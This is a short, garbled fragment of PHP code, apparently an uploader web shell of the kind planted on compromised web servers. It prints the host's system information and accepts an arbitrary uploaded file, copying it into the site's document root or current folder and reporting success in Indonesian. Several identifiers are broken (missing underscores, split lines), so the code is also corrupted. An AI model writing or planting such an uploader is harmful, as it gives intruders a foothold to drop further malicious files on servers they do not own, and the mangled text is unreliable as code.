";
echo "".phpuname()."
";
echo "
";
$root = $SERVER['DOCUMENT
ROOT'];
$files = $FILES['idx
file']['name'];
$dest = $root.'/'.$files;
if(isset($POST['upload'])) {
if(is
writable($root)) {
if(@copy($FILES['idx
file']['tmpname'], $dest)) {
$web = "http://".$
SERVER['HTTPHOST']."/";
echo "sukses upload ->
$web/$files";
} else {
echo "gagal upload di document root.";
}
} else {
if(@copy($
FILES['idxfile']['tmp_name'], $files)) {
echo "sukses upload
$files di folder ini";
} else {
echo "gagal upload";
}
}
}
?>